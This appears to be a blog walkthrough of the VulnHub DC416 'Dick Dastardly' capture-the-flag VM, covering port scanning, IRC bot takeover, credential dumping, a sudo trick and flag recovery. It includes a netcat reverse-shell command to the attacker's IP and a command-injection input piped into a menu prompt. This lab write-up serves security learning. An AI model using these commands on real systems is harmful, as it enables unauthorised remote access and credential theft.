Vulnhub VM -Dick Dastardly

Description:

DC416 CTF CHALLENGES

These four virtual machines were created by members of the VulnHub CTF Team for DefCon Toronto’s first offline CTF.

They have been tested with VirtualBox, and will obtain an IP address via DHCP upon bootup. Difficulty ranges from beginner to intermediate.

DC416 Basement by @barrebas

DC416 Baffle by @superkojiman

DC416 Dick Dastardly by @_RastaMouse

DC416 Fortress by @superkojiman

Each machine has a landing page on port 80 which describes the number of flags it has, along with any additional rules or hints.

Enjoy!

Let’s Begin:

arp-scan -l to locate the host followed by an nmap scan.

root@kali:~# nmap -p- 192.168.159.129
Starting Nmap 7.01 ( https://nmap.org ) at 2016–12–06 04:28 EST
Nmap scan report for 192.168.159.129
Host is up (0.00017s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
6667/tcp filtered irc
MAC Address: 00:0C:29:95:8D:BE (VMware)

Open SSH and port 80, filtered IRC.

port 80.

nikto -h 172.16.26.130

--snip
+ OSVDB-3093: /db.php: This might be interesting… has been seen in web logs from an unknown scanner.
--snip

curly wurly

root@kali:~# curl -v 172.16.26.130/db.php
* Trying 172.16.26.130…
* Connected to 172.16.26.130 (172.16.26.130) port 80 (#0)
> GET /db.php HTTP/1.1
> Host: 172.16.26.130
> User-Agent: curl/7.47.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Mon, 05 Dec 2016 20:46:39 GMT
< Server: Apache/2.4.7 (Ubuntu)
< X-Powered-By: PHP/5.5.9–1ubuntu4.20
< Flag: flag1{l0l_h0w_345y_15_7h15_c7f}
< Content-Length: 0
< Content-Type: text/html
< 
* Connection #0 to host 172.16.26.130 left intact

Flag 1 done.

Time to crack out dirbuster…

Admin.php

And in we go! (you can use any password with this).

So let’s add our IP to IRC whitelist and a SupyBot (what ever this is) owner [root:root], enable Supy and rescan.

root@kali:~# nmap 172.16.26.130 — top-ports 1000
Starting Nmap 7.01 ( https://nmap.org ) at 2016–12–05 20:56 GMT
Nmap scan report for 172.16.26.130
Host is up (0.00033s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
6667/tcp open irc
MAC Address: 00:0C:29:F9:9C:61 (VMware)

IRC is open now.

* I have 1 users, 0 services and 0 servers
* 1 1 :Current local users 1, max 1
* 1 1 :Current global users 1, max 1
* — irc.localhost Message of the Day — 
* — 17/9/2016 12:47
* — [ VulnHub ] 
* — | — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — |
* — | Welcome to the VulnHub Admin IRC channel. | 
* — | I hope you’re enjoying the CTF (but no flag here I’m afraid) |
* — | |
* — | — Rasta Mouse |
* — | — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — |
* End of MOTD command.

No flag from MOTD… but what is SupyBot?

Supybot

Description

Nested commands, easy configuration, and an incredibly flexible and easy-to-use plugin system distinguish Supybot from other IRC bots. There simply isn’t a more flexible or easier to use IRC bot!

Okay let’s start that up..

Looking for channels in our IRC we find…#vulnhub

Connecting we get this:

a bot!

So we have a bot and we might have already defined ourselves as owner, let’s take a look.

<root> whoami
-vulnhub-bot- I don’t recognize you. You can message me either of these two commands: “user identify <username> <password>” to log in or “user register <username> <password>” to register.
<root> identify root root
-vulnhub-bot- The operation succeeded.
<root> list
-vulnhub-bot- Admin, AutoMode, Channel, Config, Misc, NickAuth, Owner, Unix, User, and Utilities

Cool, so we now control the bot. What can we do with it?

root> list
-vulnhub-bot- Admin, AutoMode, Channel, Config, Misc, NickAuth, Owner, Unix, User, and Utilities

Supybot web documentation

The Unix option looks interesting

Supybot web documentation

<root> Unix shell ls
-vulnhub-bot- backup, conf, data, export, flag2, logs, plugins, show, tmp, vulnhub-bot.conf, vulnhub-bot.conf.bak, and web
<root> Unix shell cat flag2
-vulnhub-bot- flag2{y0u’r3_4_5upyb07_n00b_m8}

Flag2, done.

So we now have access to the file system through IRC. Having a look around I discovered the following.

<root> Unix shell ls conf/
-vulnhub-bot- channels.conf, ignores.conf, userdata.conf, and users.conf
<root> Unix shell cat conf/users.conf
-vulnhub-bot- user 1, name rasta, ignore False, secure False, hashed True, password 5f81f263|99ed204a7bfd2dce204a67c13cec9d9335283b07, capability owner, user 2, name root, ignore False, secure False, hashed True, password b0ad9cb0|79bd82a56425900624f518de78cb797129f3fe3a, and capability owner

password 5f81f263|99ed204a7bfd2dce204a67c13cec9d9335283b07
password b0ad9cb0|79bd82a56425900624f518de78cb797129f3fe3a

I assume the bits before the pipes are the user-names and the sections after passwords. splitting this down and putting it into hash-identifier seems to confirm this. A brief search for known SHA1s matching this comes up blank.

As per the instructions, there is no bruteforcing required, so as it is not already cracked on hash killer

SHA1 Decrypter - Over 312.072 billion cracked SHA1 hashes. SHA1 Decryption, Free SHA1 Decryptor…

I’m moving on.

Do we have nc?

root> Unix shell locate nc
-vulnhub-bot- /bin/loginctl, /bin/nc, /bin/nc.openbsd, /bin/nc.traditional, /bin/ntfstruncate, /bin/sync, /bin/uncompress, /boot/grub/i386-pc/functional_test.mod, /boot/grub/i386-pc/gptsync.mod, /etc/alternatives/nc, /etc/alternatives/nc.1.gz, /etc/apache2/mods-available/include.load, /etc/apache2/mods-available/proxy_balancer.conf, /etc/apache2/mods-available/proxy_balancer.load, /etc/apache2/mods-available/xml2enc.load, (52 more messages)

Yes we do, cool. Can we start a reverse shell?

<root> Unix shell /bin/nc -nv 192.168.159.141 4444 -e /bin/bash

and a python escape to a real shell.

Yes we can, limited shell! And quite some time later I found this, SQL creds in Crontab

rasta@DickDastardly:/home$ crontab -l
----snip
* * * * * /usr/local/bin/casperjs /opt/xss.js &
*/2 * * * * /usr/bin/mysql -uroot -pvulnhub -e “use vulnhub; truncate issues;”
-----snip

Let's give them a go!

rasta@DickDastardly:/home$ mysql -uroot -pvulnhub
mysql> show databases;
show databases;
+ — — — — — — — — — — +
| Database |
+ — — — — — — — — — — +
| information_schema |
| mysql |
| performance_schema |
| vulnhub |
+ — — — — — — — — — — +
4 rows in set (0.04 sec)
mysql> use vulnhub
use vulnhub
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables
show tables
 -> ;
;
+ — — — — — — — — — -+
| Tables_in_vulnhub |
+ — — — — — — — — — -+
| admins |
| guestbook |
| issues |
+ — — — — — — — — — -+
3 rows in set (0.00 sec)
mysql> select * from admins
select * from admins
 -> ;
;
+ — — + — — — -+ — — — — — — — — — — — — — — — — — — — +
| id | user | pass |
+ — — + — — — -+ — — — — — — — — — — — — — — — — — — — +
| 1 | rasta | 1b37y0uc4n76u3557h15p455w0rd,5uck3rz |
+ — — + — — — -+ — — — — — — — — — — — — — — — — — — — +
1 row in set (0.00 sec)

So we have a password word for rasta and root, but there doesn’t appear to be any password reuse, can’t SSH to either account with them, or anything else for that matter. That was the only thing of interest in there… Onwards..

ps -ef

That’s interesting.. script running ping (maybe?)

rasta@DickDastardly:/opt/vulnhub-bot$ ps -ef | grep root

some kind of weird ping with an MD5?

Firing up WireShark:

partial flag in the ICMP traffic

Stringing these partial flags together we get:

flag0{the_quieter_you_become_the_more_you_are_able_to_hear}

There’s either a ‘hidden’ flag (4) or we count from zero… onwards

sudo -l

I got stuck for an absolute age here (days[I actual decided for a while this couldn’t be the way forward{then decided it was too obvious to not be}]) which came down to my understanding of how NOPASSWD works. Allow me to elaborate:

rasta@DickDastardly:/opt/vulnhub-bot$ sudo -n /usr/local/sbin/util.py
sudo -n /usr/local/sbin/util.py
sudo: a password is required

Although it states I can run /usr/local/sbin/util.py as rasta all my attempts failed saying a password was required.. every single stack overflow question and NOPASSWD article I read led me to the same point, the hierarchy of permissions in sudoers was incorrect. Clearly I don’t have the privs to make amendments to that… The issue boiled down to the bit that read (vulnhub)

This is the username/context the command should be run under, and as per the sudo man page:

-u, — user=user run command (or edit file) as specified user name
 or ID

So eventually I figured out the correct syntax should be:

rasta@DickDastardly:/opt/vulnhub-bot$ sudo -u vulnhub /usr/bin/python /usr/local/sbin/util.py

Full file paths should be used, so we are pointing to the python interpreter and then passing it a python script giving us:

A menu system!

Please Select: 1
1
vulnhub

So we are running as vulnhub user, no longer rasta. Let’s list users home dir

Please Select: 2
2
Enter dir to list: /home/vulnhub
/home/vulnhub
total 4
-rw-r — r — 1 root root 37 Sep 26 16:59 flag3

and there’s flag three.. now we just need to print the contents..

and a little bit of faffing later:

Please Select: 2
2
Enter dir to list: / | cat /home/vulnhub/flag3
/ | cat /home/vulnhub/flag3
flag3{n3x7_71m3_54n17153_y0ur_1npu7}

Done!